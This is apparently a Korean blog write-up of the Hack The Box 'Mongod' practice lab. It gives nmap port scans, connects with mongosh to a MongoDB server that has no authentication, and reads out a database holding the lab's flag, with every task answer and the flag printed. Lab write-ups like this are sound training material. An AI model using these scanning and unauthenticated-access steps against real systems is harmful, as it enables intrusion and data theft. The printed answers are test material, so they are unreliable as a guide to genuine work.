▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier0 Mongod


Mongod

alt text

Task 1

  • 정답 및 풀이

    • 우선 머신이 열렸는지 icmp packet을 날려봅니다.

      ┌──(kali㉿kali)-[~]
      └─$ sudo nmap 10.129.228.30 -sn                          
      [sudo] password for kali: 
      Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:34 +0900
      Nmap scan report for 10.129.228.30
      Host is up (0.21s latency).
      Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

    host up이 결과로 온 것을 보아 머신이 잘 열린 것 같습니다.

    • 다음으로 머신에 포트 스캐닝을 진행합니다. (모든 포트 확인, 서비스 버전 확인, 열린 포트 대상, 초당 2000패킷, Host Discovery skip)

      ┌──(kali㉿kali)-[~]
      └─$ sudo nmap 10.129.228.30 -p- -sV --open --min-rate 2000 -Pn
      Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:40 +0900
      Nmap scan report for 10.129.228.30
      Host is up (0.21s latency).
      Not shown: 65523 closed tcp ports (reset), 10 filtered tcp ports (no-response)
      Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
      PORT      STATE SERVICE VERSION
      22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
      27017/tcp open  mongodb MongoDB 3.6.8
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
      
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 41.56 seconds
      
    • 현재 머신에는 tcp 22번과 27017번 포트가 열려있습니다.

    문제의 정답은 2 (개) 입니다.

Task 2

  • 정답 및 풀이

    • 이번에는 포트를 지정해서 확인해보겠습니다.
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap 10.129.228.30 -p 27017 -sV --open --min-rate 2000 -Pn
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 19:47 +0900
    Nmap scan report for 10.129.228.30
    Host is up (0.21s latency).
    
    PORT      STATE SERVICE VERSION
    27017/tcp open  mongodb MongoDB 3.6.8
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
    • tcp 27017 포트에서는 현재 MongoDB (version 3.6.8) 이 서비스 되고 있습니다.

    정답은 MongoDB 3.6.8 입니다.

Task 3

  • 정답 및 풀이

    alt text

    • 구글에 mongodb를 검색해보면, mongodb는 NoSQL 데이터 베이스로 분류된다고 설명합니다.
    • NoSQL : SQL(관계형 데이터베이스)처럼 table, row, column 구조에 묶이지 않고 더 다양한 방식으로 데이터를 저장하는 데이터베이스 계열을 말합니다.
      • MongoDB : mongodb의 경우 문서 지향(Document-oriented) 데이터 베이스로,JOSB 비슷한 형태로 데이터를 저장합니다.

        {
          "name": "alice",
          "age": 20,
          "skills": ["python", "linux"]
        }
      • 이외에도 NoSQL 종류로 Key-Value(Redis), Column-family(Cassandra), Graph(Neo4j) 등이 있습니다.

    MongoDB는 NoSQL 이므로 정답은 NoSQL 입니다.

Task 4

  • 정답 및 풀이

    alt text

    • 구글에 mongodb shell을 입력하면 mongosh이라는 툴이 있는 것을 알 수 있습니다.
    • 설치 방법은 다음과 같습니다.
      1. https://www.mongodb.com/try/download/shell : 공식 링크에 접속하여 본인에게 맞는 아키텍쳐의 패키지를 다운로드합니다.

        alt text

        (Copy link 클릭 후 wget 명령으로 다운받아도 됩니다.)

      2. 다운 받은 파일(.deb) 을 다음 명령으로 설치합니다.

        sudo dpkg -i mongodb-mongosh_2.8.1_amd64.deb
        • dpkg : Debian 계열에서 사용하는 패키지 관리 도구
          • -i : install의 약어 (.deb 패키지 파일을 직접 설치할 때 사용합니다.)
        • dpkg -i 는 패키지 파일만 설치하기 때문에, 필요한 의존성 패키지가 부족하다면 에러가 발생할 수 있습니다. 그럴 경우 sudo apt-get install -f 로 오류가 생긴 의존성까지 설치하여 해결해줍니다.
      3. 설치가 잘 되었는지 확인합니다. (mongosh —-version)

        ┌──(kali㉿kali)-[~/Downloads]
        └─$ mongosh --version
        2.8.1

    문제의 정답은 mongosh 입니다.

Task 5

  • 정답 및 풀이

    • 타겟 머신의 mongodb 서버에 존재하는 데이터베이스를 확인하기 위해서 mongosh로 접속합니다.

      mongosh --host <ip> --port <port>

      또는

      mongosh "mongodb://<ip>:<port>"
      ┌──(kali㉿kali)-[~/Downloads]
      └─$ mongosh "mongodb://10.129.228.30:27017"
      Current Mongosh Log ID: 69ba92520b3160c707d805da
      Connecting to:          mongodb://10.129.228.30:27017/?directConnection=true&appName=mongosh+2.8.1
      MongoServerSelectionError: Server at 10.129.228.30:27017 reports maximum wire version 6, but this version of the Node.js Driver requires at least 8 (MongoDB 4.2)

      하지만 접속이 안되는 모습을 볼 수 있는데, 오류를 보면 버전이 맞지 않아 접속에 실패했음을 알 수 있습니다.

      서버에서 사용하는 mongdb의 버전이 클라이언트에서 사용하는 버전보다 낮아 프로토콜이 호환이 되지 않습니다. (wire version 6)

      MongoDB의 릴리즈 노트를 확인해보면 버전 별로 사용된 Node.js 버전을 볼 수 있는데, 이와 비교하여 호환이 되는 mongosh 버전을 추가로 설치하여 접속을 해볼 수 있습니다. (2.3.x 버전 이하의 mongosh 사용)

      저는 안전하게 2.3.0 버전을 사용해보기로 했습니다.

      • 또다른 방법 (Docker)

        다른 방법으로 서버 버전과 동일한 mongdb를 Docker에서 실행하여 mongodb client 로 접속을 시도해볼 수 있습니다.

        sudo apt install docker-cli docker.io -y
        sudo docker run -it --rm mongo:3.6 mongo --host 10.129.3.133 --port 27017

        개인적으로 해당 방법이 조금 더 간편하다고 느꼈습니다. 하지만 mongodb client는 mongosh의 다양한 기능(AWS IAM/FLE 옵션 등등)을 사용하지 못한다는 단점이 있어서 과거 버전의 서비스를 타겟으로 하는게 아니라면 mongosh를 사용하는게 좋다고 느꼈습니다.

      • mongosh github : https://github.com/mongodb-js/mongosh/releases?page=2

        alt text

        여기서 .deb 로 패키지를 덮어도 되겠지만, .tgz 압축 파일로 받아 압축을 풀고 나온 바이너리를 직접 사용해서 접속을 해보았습니다.

      • 압축 해제

        tar xvf mongosh-2.3.0-linux-x64.tgz
      • 바이너리 실행 (머신을 한 번 재실행 한거라 ip가 달라졌습니다.)

        ./mongosh-2.3.0-linux-x64/bin/mongosh mongodb://10.129.8.3:27017
      ┌──(kali㉿kali)-[~/tools]
      └─$ ./mongosh-2.3.0-linux-x64/bin/mongosh mongodb://10.129.8.3:27017
      Current Mongosh Log ID: 69bb62e96b36cf9e885e739b
      Connecting to:          mongodb://10.129.8.3:27017/?directConnection=true&appName=mongosh+2.3.0
      Using MongoDB:          3.6.8
      Using Mongosh:          2.3.0
      mongosh 2.8.1 is available for download: https://www.mongodb.com/try/download/shell
      
      For mongosh info see: https://www.mongodb.com/docs/mongodb-shell/
      
      To help improve our products, anonymous usage data is collected and sent to MongoDB periodically (https://www.mongodb.com/legal/privacy-policy).
      You can opt-out by running the disableTelemetry() command.
      
      ------
         The server generated these startup warnings when booting
         2026-03-19T01:55:30.947+0000: 
         2026-03-19T01:55:30.947+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
         2026-03-19T01:55:30.947+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
         2026-03-19T01:55:33.549+0000: 
         2026-03-19T01:55:33.549+0000: ** WARNING: Access control is not enabled for the database.
         2026-03-19T01:55:33.549+0000: **          Read and write access to data and configuration is unrestricted.
         2026-03-19T01:55:33.549+0000:
      ------
      
      test> 

    위와 같이 정상적으로 접속되는 것을 확인할 수 있습니다.

    • 문제의 정답을 확인하기 위해 help 명령어로 도움말을 확인해보면, show databases 또는 show dbs 로 모든 데이터 베이스를 볼 수 있다는 것을 알 수 있습니다.

      test> help
      
        Shell Help:
      
          use                                        Set current database
          show                                       'show databases'/'show dbs': Print a list of all available databases.
                                                     'show collections'/'show tables': Print a list of all collections for current database.
       ...                                        

    그렇기에 이번 문제의 정답은 show dbs 입니다.

Task 6

  • 정답 및 풀이

    정답은 show collections 입니다.

    • 도움말에서 확인 가능하며, show tables 도 동일한 동작을 합니다.

Task 7

Submit Flag

  • 정답 및 풀이

    우선 접속한 DB에 database 목록을 확인해보면,

    test> show dbs
    admin                  32.00 KiB
    config                 72.00 KiB
    local                  72.00 KiB
    sensitive_information  32.00 KiB
    users                  32.00 KiB

    다음과 같은 database 들이 존재하는 것을 볼 수 있습니다.

    이중에서 “sensitive_information”가 굉장히 수상합니다. use 명령어를 사용해 작업 DB를 선택해줍니다.

    test> use sensitive_information
    switched to db sensitive_information

    해당 DB에 collection 을 확인해보면,

    sensitive_information> show collections
    flag

    운 좋게 바로 flag를 확인할 수 있었습니다.

    sensitive_information> db.flag.find()
    [
      {
        _id: ObjectId('630e3dbcb82540ebbd1748c5'),
        flag: '1b6e6fb359e7c40241b6d431427ba6ea'
      }
    ]

    정답 : 1b6e6fb359e7c40241b6d431427ba6ea


← ALL POSTS